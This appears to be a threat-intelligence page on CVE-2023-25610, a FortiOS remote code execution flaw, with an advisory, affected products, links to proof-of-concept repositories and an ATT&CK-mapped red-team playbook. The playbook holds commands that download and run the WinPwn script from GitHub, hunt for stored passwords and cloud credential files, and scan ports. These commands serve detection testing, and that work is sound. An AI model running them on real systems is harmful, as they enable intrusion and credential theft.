CVE-2023-25610

CRITICAL POC TTE Zero-Day Pub 24/03 Upd 24/03

Overview

This vulnerability is a buffer underwrite (buffer underflow) occurring within the administrative interface of Fortinet FortiOS and related products. The root cause lies in improper bounds checking when processing specific crafted requests, leading to memory corruption. The flaw affects multiple Fortinet components, including FortiOS versions 6.2.x through 7.2.x, FortiProxy, and FortiOS-6K7K, specifically in their administrative management interfaces.

Vulnerability Description

A buffer underwrite ('buffer underflow') vulnerability in the administrative interface of Fortinet FortiOS version 7.2.0 through 7.2.3, version 7.0.0 through 7.0.6, version 6.4.0 through 6.4.11 and version 6.2.12 and below, FortiProxy version 7.2.0 through 7.2.2, version 7.0.0 through 7.0.8, version 2.0.12 and below and FortiOS-6K7K version 7.0.5, version 6.4.0 through 6.4.10 and version 6.2.0 through 6.2.10 and below allows a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.

Impact

An unauthenticated remote attacker can exploit this vulnerability over the network without user interaction to execute arbitrary code or commands on affected devices. This capability allows full compromise of the device, including potential data exfiltration, service disruption, and lateral movement within the network. The vulnerability’s CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms that no authentication or user interaction is required, increasing the risk of widespread exploitation in exposed environments.

Solution

Fortinet has released security updates addressing this vulnerability in FortiOS, FortiProxy, and FortiOS-6K7K versions as detailed in their advisory FG-IR-23-001 available at https://fortiguard.com/psirt/FG-IR-23-001. Administrators should upgrade to the fixed versions corresponding to their product lines and versions. No specific workarounds are noted; applying the vendor-supplied patches is the recommended remediation step to mitigate this issue.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A critical buffer underwrite vulnerability has been identified in the administrative interface of several versions of Fortinet's FortiOS, FortiProxy, and related products. This flaw arises from improper handling of memory operations, specifically allowing an attacker to manipulate the buffer allocation process. When a specially crafted request is sent to the vulnerable systems, it can lead to a buffer underflow condition, which may allow the execution of arbitrary code or commands. The affected versions span across multiple releases, including FortiOS versions 6.2.12 and below, 6.4.0 through 6.4.11, 7.0.0 through 7.0.6, and 7.2.0 through 7.2.3, as well as FortiProxy and FortiSwitchManager versions. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a critical risk that could lead to significant security breaches.

The attack vectors for this vulnerability are particularly concerning, as they allow for remote unauthenticated access. An attacker could exploit this flaw by sending specially crafted requests to the administrative interface of the affected products. This means that even individuals without prior access to the network or system could potentially gain control over the device, leading to unauthorized actions such as data exfiltration, system manipulation, or further network infiltration. Exploitation scenarios could include targeting organizations that rely on these products for network security, thereby compromising the very defenses intended to protect sensitive information and infrastructure.

The real-world impact of this vulnerability can be profound, especially for organizations that utilize Fortinet products for their cybersecurity needs. Successful exploitation could lead to unauthorized access to critical systems, resulting in data breaches, service disruptions, and potential financial losses. Moreover, the reputational damage incurred from such incidents can have long-lasting effects on customer trust and business relationships. Organizations in sectors such as finance, healthcare, and critical infrastructure, where data integrity and availability are paramount, may face heightened scrutiny and regulatory repercussions if they fail to address this vulnerability promptly.

To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular vulnerability assessments and penetration testing can help identify potential weaknesses in their systems. Additionally, deploying intrusion detection systems (IDS) can provide real-time monitoring for suspicious activities that may indicate exploitation attempts. It is crucial for organizations to stay informed about security updates from Fortinet and apply patches as soon as they are available. Furthermore, implementing strict access controls and network segmentation can limit the potential impact of an attack, ensuring that even if a breach occurs, the attacker’s ability to move laterally within the network is constrained.

In conclusion, the buffer underwrite vulnerability in Fortinet's products represents a significant threat to organizations that rely on these systems for their cybersecurity posture. The combination of remote exploitation capabilities and the potential for severe consequences necessitates immediate attention and action. By adopting proactive detection and mitigation strategies, organizations can better safeguard their networks against this and similar vulnerabilities, ultimately enhancing their overall security resilience.




CSURFACE threat intelligence has identified a modest but meaningful increase in the exploit prediction scoring for CVE-2023-25610, reflecting a broader availability of exploitation tools targeting this vulnerability. The emergence of new proof-of-concept exploits hosted on public repositories has contributed to an 11.3% rise in the Exploit Prediction Scoring System (EPSS), signaling heightened attacker interest and capability. While the upward trend is not rapid, the vulnerability now ranks within the 95th percentile for exploit likelihood, underscoring its elevated prominence in the threat landscape. This evolution matters because it indicates a growing ease of access to effective exploitation methods, potentially lowering the barrier for threat actors to execute remote code on affected Fortinet FortiSwitchManager systems. Consequently, defenders should recognize that the risk of successful compromise has increased, warranting continued vigilance. The updated risk assessment reflects a moderate escalation in threat level, driven by expanded exploit availability and a measurable uptick in exploitation potential, which could facilitate more frequent or sophisticated attacks if left unaddressed.

Affected Products (29)

Vendor Product Version CPE
fortinet Fortinet Fortiweb All cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiweb All cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiweb All cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiweb All cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiweb All cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiweb All cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiswitchmanager All cpe:2.3:a:fortinet:fortiswitchmanager:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiswitchmanager All cpe:2.3:a:fortinet:fortiswitchmanager:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiswitch All cpe:2.3:o:fortinet:fortiswitch:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiswitch All cpe:2.3:o:fortinet:fortiswitch:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiproxy All cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiproxy All cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
fortinet Fortinet Fortios-6k7k All cpe:2.3:a:fortinet:fortios-6k7k:*:*:*:*:*:*:*:*
fortinet Fortinet Fortios-6k7k All cpe:2.3:a:fortinet:fortios-6k7k:*:*:*:*:*:*:*:*
fortinet Fortinet Fortios-6k7k 7.0.5 cpe:2.3:a:fortinet:fortios-6k7k:7.0.5:*:*:*:*:*:*:*
fortinet Fortinet Fortios All cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
fortinet Fortinet Fortios All cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
fortinet Fortinet Fortios All cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
fortinet Fortinet Fortios All cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
fortinet Fortinet Fortimanager All cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*:*
+9 additional CPEs
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (2)

Repository Author Stars Forks Date Link
qi4L/CVE-2023-25610
FortiOS 管理界面中的堆内存下溢导致远程代码执行
qi4L 23 7 2023-06-17 View
PoC
- 0 0 - View
Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

1 events
2023-06-17
PoC Published (2 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Remote Code Execution
89% rce
Code Injection
64% code_injection
Buffer Overflow
52% buffer_overflow
OS Command Injection
45% command_injection

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns

No CAPEC pattern mapped to this CVE.

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (2)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2023-25610
fortiguard.com
GitHub CVE
https://fortiguard.com/psirt/FG-IR-23-001